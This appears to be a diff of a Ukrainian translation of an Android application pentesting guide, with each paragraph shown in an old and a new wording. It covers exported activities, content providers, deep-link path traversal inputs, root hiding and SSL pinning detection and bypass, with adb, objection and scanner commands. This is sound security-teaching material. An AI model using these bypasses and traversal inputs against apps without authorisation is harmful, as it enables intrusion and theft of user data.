### Неправильна криптографія
### Ненадійна криптографія
**Погане управління ключами**
**Недостатні процеси управління ключами**
Деякі розробники зберігають конфіденційні дані в локальному сховищі й шифрують їх ключем, жорстко захардкодженим/передбачуваним у коді. Так робити не слід, оскільки reversing може дозволити атаці витягти конфіденційну інформацію.
Деякі розробники зберігають чутливі дані в локальному сховищі і шифрують їх ключем, захардкоженим/передбачуваним у коді. Так робити не слід, оскільки деякий reversing може дозволити зловмисникам витягти конфіденційну інформацію.
**Використання небезпечних і/або застарілих алгоритмів**
**Використання небезпечних та/або застарілих алгоритмів**
Розробники не повинні використовувати **deprecated algorithms** для виконання authorisation **checks**, зберігання або відправки даних. Деякі з цих алгоритмів: RC4, MD4, MD5, SHA1... Якщо, наприклад, для зберігання паролів використовуються **hashes**, слід застосовувати brute-force **resistant** hashes з salt.
Розробники не повинні використовувати **deprecated algorithms** для виконання авторизаційних **checks**, **store** або **send** даних. Деякі з цих алгоритмів: RC4, MD4, MD5, SHA1... Якщо для збереження паролів, наприклад, використовуються **hashes**, слід застосовувати brute-force **resistant** hashes із salt.
### Інші перевірки
- Рекомендується **obfuscate the APK**, щоб ускладнити reverse engineer-ам роботу атакуючих.
- Якщо додаток чутливий (наприклад банківські додатки), він повинен виконувати власні перевірки, щоб визначити, чи mobile is rooted, і діяти відповідно.
- Якщо додаток чутливий (наприклад банківські додатки), він має перевіряти, чи використовується **emulator**.
- Якщо додаток чутливий (наприклад банківські додатки), він має перевіряти власну цілісність перед виконанням, щоб перевірити, чи не був змінений.
- Рекомендовано **obfuscate the APK**, щоб ускладнити reverse engineering для зловмисників.
- Якщо додаток чутливий (наприклад bank apps), він повинен виконувати власні перевірки, щоб з’ясувати, чи мобільний пристрій **is rooted**, і діяти відповідно.
- Якщо додаток чутливий (наприклад bank apps), він повинен перевіряти, чи використовується **emulator**.
- Якщо додаток чутливий (наприклад bank apps), він повинен **check it's own integrity before executing** щоб переконатися, що його не було змінено.
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD) щоб перевірити, який compiler/packer/obfuscator був використаний для збірки APK
### Додатки React Native
### React Native Application
Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до javascript коду React додатків:
Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до javascript коду React застосунків:
{{#ref}}
react-native-application.md
{{#endref}}
### Додатки Xamarin
### Xamarin Applications
Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до C# коду додатків Xamarin:
Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до C# коду xamarin застосунків:
{{#ref}}
@ -197,17 +197,17 @@ react-native-application.md
### Superpacked Applications
Згідно з цим [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked — це Meta algorithm, який стискає вміст додатка в один файл. У блозі йдеться про можливість створити додаток, що розпаковує такого роду додатки... і про швидший спосіб, який полягає в **виконанні додатка і зборі розпакованих файлів із файлової системи.**
Згідно з цим [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked — це Meta алгоритм, який стискає вміст застосунку в один файл. Блог розповідає про можливість створити додаток, який розпаковує такого роду застосунки... і про швидший спосіб, який передбачає **execute the application and gather the decompressed files from the filesystem.**
### Автоматизований статичний аналіз коду
### Automated Static Code Analysis
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатний знаходити **vulnerabilities** шляхом **scanning** **code** додатка. Цей інструмент містить набір **known sources** (що вказують інструменту **місця**, де **input** контролюється користувачем), **sinks** (що вказують **dangerous** **місця**, де шкідливий input користувача може завдати шкоди) та **rules**. Ці правила вказують **комбінації sources-sinks**, які позначають vulnerability.
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатен знаходити **vulnerabilities** шляхом **scanning** **code** застосунку. Цей інструмент містить серію **known sources** (які вказують інструменту **places**, де **input** **controlled by the user**), **sinks** (які вказують інструменту **dangerous** **places**, де зловмисний користувацький ввід може завдати шкоди) та **rules**. Ці правила вказують **combination** **sources-sinks**, що означає вразливість.
Завдяки цьому **mariana-trench перевіряє код і знаходить можливі vulnerabilities.**
Завдяки цьому знанню, **mariana-trench will review the code and find possible vulnerabilities on it**.
### Secrets leaked
Додаток може містити secrets (API keys, passwords, hidden urls, subdomains...) всередині, які ви можете виявити. Ви можете використати інструмент, такий як [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
Застосунок може містити secrets (API keys, passwords, hidden urls, subdomains...) всередині, які ви можете виявити. Ви можете використати інструмент, такий як [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -236,45 +236,45 @@ content-protocol.md
## Динамічний аналіз
> По‑перше, вам потрібне середовище, де можна встановити додаток і всі компоненти (Burp CA cert, Drozer і Frida головним чином). Тому настійно рекомендується rooted device (емулятор або реальний пристрій).
> По-перше, вам потрібне середовище, де ви можете встановити застосунок і все оточення (Burp CA cert, Drozer and Frida в основному). Тому настійно рекомендується використовувати rooted пристрій (емулятор чи ні).
### Онлайн динамічний аналіз
Ви можете створити **free account** на: [https://appetize.io/](https://appetize.io/). Ця платформа дозволяє **upload** та **execute** APK, тому корисна для спостереження за поведінкою apk.
Ви можете створити **free account** на: [https://appetize.io/](https://appetize.io/). Ця платформа дозволяє **upload** та **execute** APK, тому вона корисна, щоб побачити, як apk поводиться.
Ви навіть можете переглядати логи вашого додатку в вебі й підключатися через **adb**.
Ви навіть можете **see the logs of your application** в вебі та підключитися через **adb**.
![](<../../images/image (831).png>)
Завдяки ADB-з'єднанню ви можете використовувати **Drozer** та **Frida** в емуляторах.
Завдяки ADB з’єднанню ви можете використовувати **Drozer** та **Frida** всередині емулаторів.
### Локальний динамічний аналіз
#### Використання емулятора
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і, згідно з [**this**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **latest x86** версії **support ARM libraries** без необхідності повільного arm емулятора).
- Дізнайтеся, як його налаштувати на цій сторінці:
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і згідно з [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** версії **support ARM libraries** без потреби в повільному arm емуляторі).
- Дізнайтесь, як налаштувати це на цій сторінці:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, потрібно створити акаунт. _Рекомендується **download** версію **WITH**_ _**VirtualBox**, щоб уникнути потенційних помилок._)
- [**Nox**](https://es.bignox.com) (Безкоштовно, але не підтримує Frida або Drozer).
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, потрібно створити акаунт. _Рекомендується **download** версію **WITH**_ _**VirtualBox** щоб уникнути потенційних помилок._)
- [**Nox**](https://es.bignox.com) (Free, але не підтримує Frida або Drozer).
> [!TIP]
> Коли створюєте новий емулятор на будь‑якій платформі, пам’ятайте: чим більший екран, тим повільніше працюватиме емулятор. Тому по можливості обирайте менші екрани.
> Коли створюєте новий емулатор на будь-якій платформі, пам’ятайте, що чим більший екран, тим повільніше працюватиме емулятор. Тому за можливості обирайте менші екрани.
Щоб **install google services** (наприклад AppStore) в Genymotion, потрібно натиснути на червоного марковану кнопку на зображенні:
Щоб **install google services** (наприклад AppStore) в Genymotion, потрібно натиснути на червону кнопку, позначену на наступному зображенні:
![](<../../images/image (277).png>)
Також зверніть увагу, що в **configuration of the Android VM in Genymotion** можна вибрати **Bridge Network mode** (це буде корисно, якщо ви підключатиметесь до Android VM з іншої VM з інструментами).
Також зверніть увагу, що в **configuration of the Android VM in Genymotion** ви можете обрати **Bridge Network mode** (це буде корисно, якщо ви підключатиметесь до Android VM з іншої VM з інструментами).
#### Використання фізичного пристрою
Потрібно активувати **debugging** опції, і бажано, щоб пристрій був **root**:
Вам потрібно активувати опції **debugging** і бажано, щоб ви могли його **root**:
1. **Settings**.
2. (FromAndroid 8.0) Select **System**.
@ -282,61 +282,63 @@ avd-android-virtual-device.md
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> Після встановлення додатку перше, що слід зробити — це спробувати його, дослідити, що він робить, як працює і звикнути до нього.\
> Рекомендую виконати цю початкову динамічну перевірку з використанням MobSF dynamic analysis + pidcat, щоб ми могли **дізнатися, як працює додаток**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
> Після встановлення застосунку перше, що ви повинні зробити — це спробувати його і дослідити, що він робить, як працює і звикнути до нього.\
> Рекомендую **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, щоб ми могли **learn how the application works**, поки MobSF **captures** багато **interesting** **data**, які ви потім зможете переглянути.
Короткі нотатки про Magisk/Zygisk (рекомендується на Pixel-пристроях)
- Patch boot.img з використанням додатку Magisk і прошити через fastboot для отримання systemless root
- Увімкнути Zygisk + DenyList для приховування root; розгляньте LSPosed/Shamiko для більш потужного приховування
- Зберігайте оригінальний boot.img, щоб відновитися після OTA; повторно патчіть після кожного OTA
- Для віддзеркалення екрана використовуйте scrcpy на хості
Magisk/Zygisk quick notes (recommended on Pixel devices)
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
- For screen mirroring, use scrcpy on the host
### Ненавмисні витоки даних
### Ненавмисний витік даних
**Logging**
Розробникам слід бути обережними з публічним розголошенням **debugging information**, оскільки це може призвести до витоку чутливої інформації. Рекомендовано використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу логів додатку та виявлення/захисту чутливої інформації. **Pidcat** зручніший у використанні та більш читабельний.
Розробникам слід бути обережними з публічним виведенням **debugging information**, оскільки це може призвести до витоків чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів застосунку, щоб ідентифікувати та захистити чутливу інформацію. **Pidcat** віддають перевагу за його простоту використання та читабельність.
> [!WARNING]
> Зауважте, що починаючи з **пізніших версій, ніж Android 4.0**, **додатки можуть отримувати доступ тільки до власних логів**. Тому додатки не можуть читати логи інших додатків.\
> В будь‑якому випадку, все одно не рекомендовано логувати чутливу інформацію.
> Зауважте, що починаючи з **пізніших версій, новіших за Android 4.0**, **додатки можуть отримувати доступ лише до своїх власних логів**. Тож додатки не можуть отримувати логи інших застосунків.\
> Тим не менш, все ще рекомендовано **не логувати чутливу інформацію**.
**Кеш буфера копіювання/вставки**
**Copy/Paste Buffer Caching**
Android‑фреймворк на основі буфера обміну дозволяє функції copy-paste у додатках, проте є ризик, що **інші додатки** можуть отримати доступ до clipboard і, потенційно, викрити чутливі дані. Важливо вимикати функції copy/paste для чутливих секцій додатку, як-от дані кредитної картки, щоб запобігти витокам.
Android-фреймворк на основі буфера обміну (clipboard) забезпечує функціональність копіювання/вставки в додатках, але несе ризик, оскільки **інші додатки** можуть **access** буфер обміну, потенційно розкриваючи чутливі дані. Важливо **disable copy/paste** функції для чутливих частин застосунку, наприклад деталей кредитної картки, щоб запобігти витокам даних.
**Crash Logs**
Якщо додаток падає і зберігає логи, ці логи можуть допомогти атакуючим, особливо коли додаток важко відремонтувати реверсингом. Щоб зменшити ризик, уникайте логування на крашах, а якщо логи мають передаватися мережею — переконайтесь, що вони йдуть по SSLканалу.
Якщо застосунок **crashes** і **saves logs**, ці журнали можуть допомогти зловмисникам, особливо коли застосунок не можна відреференсувати. Щоб зменшити цей ризик, уникайте логування під час краху, і якщо журнали мають передаватися мережею, переконайтесь, що вони надсилаються через SSL-канал для безпеки.
Як pentester, **спробуйте подивитися ці логи**.
Як pentester, **try to take a look to these logs**.
**Analytics Data Sent To 3rd Parties**
Додатки часто інтегрують сервіси на кшталт Google Adsense, які можуть ненавмисно **leak** чутливі дані через неправильне впровадження розробниками. Щоб виявити можливі витоки даних, рекомендовано **intercept the application's traffic** і перевірити, чи не надсилається чутлива інформація до third-party сервісів.
Додатки часто інтегрують сервіси на кшталт Google Adsense, які можуть ненавмисно **leak sensitive data** через неправильну реалізацію розробниками. Щоб виявити можливі витоки даних, варто **intercept the application's traffic** і перевірити, чи не надсилається чутлива інформація до third-party сервісів.
### SQLite DBs
Більшість додатків використовують **internal SQLite databases** для збереження інформації. Під час pentest перегляньте **databases**, імена **tables** і **columns** та всі **data**, що зберігається, оскільки ви можете знайти **sensitive information** (що буде вразливістю).\
Більшість застосунків використовують **internal SQLite databases** для збереження інформації. Під час pentest перегляньте **databases**, назви **tables** і **columns** та всі **data**, що зберігається, оскільки ви можете знайти **sensitive information** (що буде вразливістю).\
Бази даних зазвичай знаходяться в `/data/data/the.package.name/databases`, наприклад `/data/data/com.mwr.example.sieve/databases`
Якщо база даних зберігає конфіденційну інформацію і вона **encrypted**, але ви можете **find** пароль у додатку — це все одно **vulnerability**.
Якщо база даних зберігає конфіденційну інформацію і вона **encrypted**, але ви можете **find** пароль всередині застосунку, це все одно **vulnerability**.
Перелічте таблиці за допомогою `.tables` і перелічте схему таблиці командою `.schema <table_name>`
Перелічіть таблиці за допомогою `.tables` і перераховуйте колонки таблиць командою `.schema <table_name>`
### Drozer (Exploit Activities, Content Providers and Services)
Згідно з [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **взяти на себе роль Android app** і взаємодіяти з іншими додатками. Він може робити **все, що може робити встановлений додаток**, наприклад використовувати Androids Inter-Process Communication (IPC) та взаємодіяти з underlying operating system. .\
Drozer — корисний інструмент для **експлуатації exported activities, exported services та Content Providers**, як ви дізнаєтесь у наступних розділах.
Згідно з [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **assume the role of an Android app** та взаємодіяти з іншими додатками. Він може робити **anything that an installed application can do**, наприклад використовувати Androids Inter-Process Communication (IPC) механізм та взаємодіяти з підлягаючою операційною системою. .\
Drozer — корисний інструмент для **exploit exported activities, exported services and Content Providers**, як ви дізнаєтесь у наступних розділах.
### Exploiting exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Також пам'ятайте, що код activity починається в методі **`onCreate`**.
Також памятайте, що код activity починається в методі **`onCreate`**.
**Authorisation bypass**
Коли Activity exported, ви можете викликати її екран з зовнішнього додатка. Якщо activity з **sensitive information** є **exported**, ви можете **bypass** механізми аутентифікації, щоб потрапити до неї.
Коли Activity є exported, ви можете викликати його екран з зовнішнього додатку. Тому, якщо activity з **sensitive information** є **exported**, ви можете **bypass** механізми **authentication**, щоб отримати доступ до нього.
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
@ -347,70 +349,70 @@ Drozer — корисний інструмент для **експлуатаці
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**ПРИМІТКА**: MobSF визначатиме як шкідливе використання _**singleTask/singleInstance**_ як `android:launchMode` в activity, але через [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, це небезпечно лише на старих версіях (API versions < 21).
**ПРИМІТКА**: MobSF виявлятиме як шкідливе використання _**singleTask/singleInstance**_ як `android:launchMode` в activity, але через [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, це небезпечно лише на старих версіях (API versions < 21).
> [!TIP]
> Зверніть увагу, що authorisation bypass не завжди є вразливістю — це залежатиме від того, як bypass працює і яка інформація розкривається.
> Зверніть увагу, що authorisation bypass не завжди є vulnerability, це залежить від того, як працює bypass і яка інформація стає доступною.
**Sensitive information leakage**
Activities також можуть повертати результати. Якщо вам вдасться знайти exported і unprotected activity, яка викликає метод **`setResult`** і **повертає конфіденційну інформацію**, це призводить до витоку конфіденційної інформації.
**Activities can also return results**. Якщо вам вдасться знайти exported and unprotected activity, яка викликає метод **`setResult`** і **returning sensitive information**, це є sensitive information leakage.
#### Tapjacking
Якщо tapjacking не запобігається, ви можете зловживати exported activity, щоб змусити **користувача виконати непередбачені дії**. Для детальнішої інформації про [**what is Tapjacking follow the link**](#tapjacking).
Якщо Tapjacking не запобігається, ви можете зловживати exported activity, щоб змусити **користувача виконати несподівані дії**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Доступ та маніпулювання конфіденційною інформацією
### Exploiting Content Providers - Доступ та маніпуляція sensitive information
[**Прочитайте це, якщо хочете освіжити уявлення про Content Provider.**](android-applications-basics.md#content-provider)\
Content providers здебільшого використовуються для **обміну даними**. Якщо додаток має доступні content providers, ви можете **витягти конфіденційні** дані з них. Також варто протестувати можливі **SQL injections** та **Path Traversals**, оскільки вони можуть бути вразливими.
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers зазвичай використовуються для **share data**. Якщо в додатку є доступні content providers, можливо, ви зможете **extract sensitive** дані з них. Також варто протестувати можливі **SQL injections** і **Path Traversals**, оскільки вони можуть бути вразливими.
[**Дізнайтеся, як експлуатувати Content Providers за допомогою Drozer.**](drozer-tutorial/index.html#content-providers)
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Прочитайте це, якщо хочете освіжити уявлення про Service.**](android-applications-basics.md#services)\
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Пам'ятайте, що дії Service починаються в методі `onStartCommand`.
Service по суті може **отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тому, якщо додаток експортує якісь services, слід **перевірити** **код**, щоб зрозуміти, що він робить, і **тестувати** це **динамічно** для витягання конфіденційної інформації, обходу заходів авторизації тощо...\
[**Дізнайтеся, як експлуатувати Services за допомогою Drozer.**](drozer-tutorial/index.html#services)
Service по суті — це те, що **can receive data**, **process** її і **returns** (або ні) відповідь. Отже, якщо додаток експортує якісь services, вам слід **check** **code**, щоб зрозуміти, що він робить, і **test** його **dynamically** для витягання конфіденційної інформації, обходу заходів автентифікації...\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Прочитайте це, якщо хочете освіжити уявлення про Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Пам'ятайте, що дії Broadcast Receiver починаються в методі `onReceive`.
Broadcast receiver очікує певний тип повідомлення. Залежно від того, як receiver обробляє повідомлення, він може бути вразливим.\
[**Дізнайтеся, як експлуатувати Broadcast Receivers за допомогою Drozer.**](#exploiting-broadcast-receivers)
Broadcast receiver чекатиме певного типу повідомлення. Залежно від того, як receiver обробляє повідомлення, він може бути вразливим.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
Ви можете шукати deep links вручну, використовуючи інструменти на кшталт MobSF або скрипти, як-от [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Ви можете **відкрити** задекларований **scheme** за допомогою **adb** або **browser**:
You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Ви можете **відкрити** оголошену **scheme** за допомогою **adb** або **браузера**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Zверніть увагу, що ви можете **omit the package name**, і мобільний пристрій автоматично викличе додаток, який має відкрити це посилання._
_Зверніть увагу, що ви можете **omit the package name**, і мобільний пристрій автоматично викличе app, який має відкрити це посилання._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**Код, що виконується**
**Code executed**
Щоб знайти **код, який виконуватиметься в додатку**, перейдіть до activity, викликаної deeplink, і знайдіть функцію **`onNewIntent`**.
Щоб знайти **code that will be executed in the App**, перейдіть до activity, що викликається deeplink, і знайдіть функцію **`onNewIntent`**.
![](<../../images/image (436) (1) (1) (1).png>)
**Конфіденційні дані**
**Sensitive info**
Кожного разу, коли ви знаходите deep link, перевіряйте, що **вона не отримує конфіденційних даних (наприклад паролів) через URL-параметри**, оскільки будь-який інший додаток може **імітувати deep link і вкрасти ці дані!**
Кожного разу, коли ви знаходите deep link, перевіряйте, що **it's not receiving sensitive data (like passwords) via URL parameters**, бо будь-який інший додаток може **impersonate the deep link and steal that data!**
**Параметри в path**
**Parameters in path**
Ви **також повинні перевіряти, чи який-небудь deep link не використовує параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете змусити path traversal, звернувшись до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Зверніть увагу, що якщо ви знайдете правильні endpoints всередині застосунку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як домен), **account takeover** (якщо можна змінити деталі користувача без CSRF token і вразливий endpoint використовував правильний метод) та інші вразливості. Більше [info about this here](http://dphoeniixx.com/2020/12/13-2/).
Ви **must check also if any deep link is using a parameter inside the path** URL, наприклад: `https://api.example.com/v1/users/{username}`. У такому випадку ви можете спричинити path traversal, отримавши доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Зверніть увагу, що якщо ви знайдете правильні endpoints всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як домен), **account takeover** (якщо можна змінити дані користувача без CSRF token і вразливий endpoint використовував правильний метод) та інші вразливості. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
@ -418,34 +420,34 @@ An [interesting bug bounty report](https://hackerone.com/reports/855618) about l
### Transport Layer Inspection and Verification Failures
- **Certificates are not always inspected properly** у Android-додатках. Часто такі додатки ігнорують попередження і приймають self-signed certificates або, в деяких випадках, повертаються до використання HTTP-з’єднань.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, застосовуються ненадійні cipher suites. Ця вразливість робить з’єднання вразливим до man-in-the-middle (MITM) атак, дозволяючи зловмисникам розшифрувати дані.
- **Leakage of private information** являє собою ризик, коли додатки автентифікуються через захищені канали, але потім для інших транзакцій використовують незахищені канали. Такий підхід не захищає конфіденційні дані, наприклад session cookies або деталі користувача, від перехоплення зловмисниками.
- **Certificates are not always inspected properly** додатками Android. Часто такі додатки ігнорують попередження і приймають self-signed certificates або в деяких випадках повертаються до HTTP-з’єднань.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, використовуються небезпечні cipher suites. Це робить з’єднання вразливим до man-in-the-middle (MITM) атак, дозволяючи нападникам розшифровувати дані.
- **Leakage of private information** — ризик, коли додатки автентифікуються через secure channels, але потім виконують інші операції через non-secure channels. Такий підхід не захищає чутливі дані, як-от session cookies або user details, від перехоплення зловмисниками.
#### Certificate Verification
Ми зосередимось на **certificate verification**. Необхідно перевіряти цілісність сертифіката сервера для підвищення безпеки. Це важливо, оскільки ненадійні TLS-конфігурації та передача конфіденційних даних по незашифрованих каналах можуть створювати серйозні ризики. Для детальних кроків щодо перевірки сертифікатів сервера та усунення вразливостей [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) надає вичерпні рекомендації.
Ми зосередимось на **certificate verification**. Необхідно перевіряти цілісність server's certificate для підвищення безпеки. Це критично, оскільки insecure TLS configurations і передача чутливих даних по незашифрованих каналах можуть створювати значні ризики. For detailed steps on verifying server certificates and addressing vulnerabilities, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance.
#### SSL Pinning
SSL Pinning — це захід безпеки, коли додаток порівнює сертифікат сервера з відомою копією, збереженою всередині додатку. Цей метод є критичним для запобігання MITM-атак. Рекомендується реалізувати SSL Pinning для додатків, що оперують конфіденційною інформацією.
SSL Pinning — це механізм безпеки, коли додаток перевіряє server's certificate проти відомої копії, збереженої всередині додатку. Цей метод є важливим для запобігання MITM атак. Рекомендується впроваджувати SSL Pinning для додатків, що працюють з чутливою інформацією.
#### Traffic Inspection
Щоб інспектувати HTTP-трафік, необхідно **встановити сертифікат proxy tool** (наприклад, Burp). Без встановлення цього сертифіката зашифрований трафік може бути невидимим через проксі. Для інструкції зі встановлення custom CA certificate дивіться [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Щоб інспектувати HTTP traffic, потрібно **install the proxy tool's certificate** (наприклад, Burp). Якщо цей сертифікат не встановлено, зашифрований трафік може бути невидимим через проксі. For a guide on installing a custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Додатки, що таргетять **API Level 24 and above**, потребують змін у Network Security Config, щоб прийняти CA-сертифікат проксі. Це критичний крок для інспекції зашифрованого трафіку. Для інструкцій щодо зміни Network Security Config дивіться [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Додатки, що target **API Level 24 and above**, вимагають змін у Network Security Config, щоб приймати proxy's CA certificate. Це критичний крок для інспекції зашифрованого трафіку. Для інструкцій щодо модифікації Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Якщо використовується **Flutter**, потрібно слідувати інструкціям на [**this page**](flutter.md). Це тому, що просте додавання сертифіката в store не спрацює — Flutter має власний список валідних CA.
Якщо використовується **Flutter**, потрібно слідувати інструкціям на [**this page**](flutter.md). Це тому, що просте додавання сертифіката в store не спрацює — Flutter має свій власний список дійсних CAs.
#### Static detection of SSL/TLS pinning
Перед спробами runtime bypasses швидко промапте, де всередині APK застосовується pinning. Статичне виявлення допомагає спланувати hooks/patches і зосередитись на потрібних кодових шляхах.
Перед спробами runtime bypasses швидко відобразіть, де саме в APK застосовано pinning. Static discovery допомагає спланувати hooks/patches і зосередитись на потрібних code paths.
Tool: SSLPinDetect
- Open-source static-analysis utility, що декомпілює APK у Smali (через apktool) і сканує за підготовленими regex patterns реалізацій SSL/TLS pinning.
- Open-source static-analysis utility, що декомпілює APK у Smali (через apktool) і сканує за curated regex patterns реалізацій SSL/TLS pinning.
- Reports exact file path, line number, and a code snippet for each match.
- Охоплює поширені frameworks та кастомні кодові шляхи: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, та Network Security Config XML pins.
- Охоплює поширені frameworks і кастомні code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
Install
- Prereqs: Python >= 3.8, Java on PATH, apktool
@ -462,8 +464,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
# Verbose (timings + per-match path:line + snippet)
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Приклад правил pattern (JSON)
Використовуйте або розширюйте signatures для виявлення пропрієтарних/власних стилів pinning. Ви можете завантажити власний JSON і scan at scale.
Приклад шаблонних правил (JSON)
Використовуйте або розширюйте signatures для виявлення proprietary/custom pinning styles. Ви можете завантажити власний JSON і сканувати в масштабі.
```json
{
"OkHttp Certificate Pinning": [
@ -477,43 +479,43 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
]
}
```
Поради та підказки
- Швидке сканування великих додатків через мультипоточність та memory-mapped I/O; попередньо скомпільовані regex зменшують накладні витрати/помилкові спрацьовування.
Notes and tips
- Швидке сканування великих додатків через multi-threading та memory-mapped I/O; попередньо скомпільовані regex зменшують накладні витрати/хибні спрацьовування.
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- Типові цілі для подальшої перевірки:
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config and manifest references
- Використовуйте знайдені місця відповідності для планування Frida hooks, статичних патчів або перевірки конфігурацій перед dynamic testing.
- Типові цілі виявлення для подальшого тріажу:
- OkHttp: використання CertificatePinner, setCertificatePinner, посилання на пакети okhttp3/okhttp
- Custom TrustManagers: javax.net.ssl.X509TrustManager, перевизначення checkServerTrusted
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init з кастомними managers
- Declarative pins у res/xml network security config та посилання в manifest
- Використовуйте знайдені місця для планування Frida hooks, static patches або перегляду конфігурацій перед dynamic testing.
#### Обхід SSL Pinning
#### Bypassing SSL Pinning
Коли реалізований SSL Pinning, обхід цього механізму необхідний для інспектування HTTPS-трафіку. Існують різні методи для цього:
Коли реалізовано SSL Pinning, його bypassing стає необхідним для інспекції HTTPS-трафіку. Для цього існують різні методи:
- Автоматично **змінити** **apk** щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Головна перевага цього варіанту — вам не потрібен root для обходу SSL Pinning, проте доведеться видалити застосунок і перевстановити модифікований, і це не завжди працює.
- Можна використовувати **Frida** (обговорюється нижче) щоб обійти цей захист. Ось гайду для використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Також можна спробувати **автоматично обійти SSL Pinning** за допомогою [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
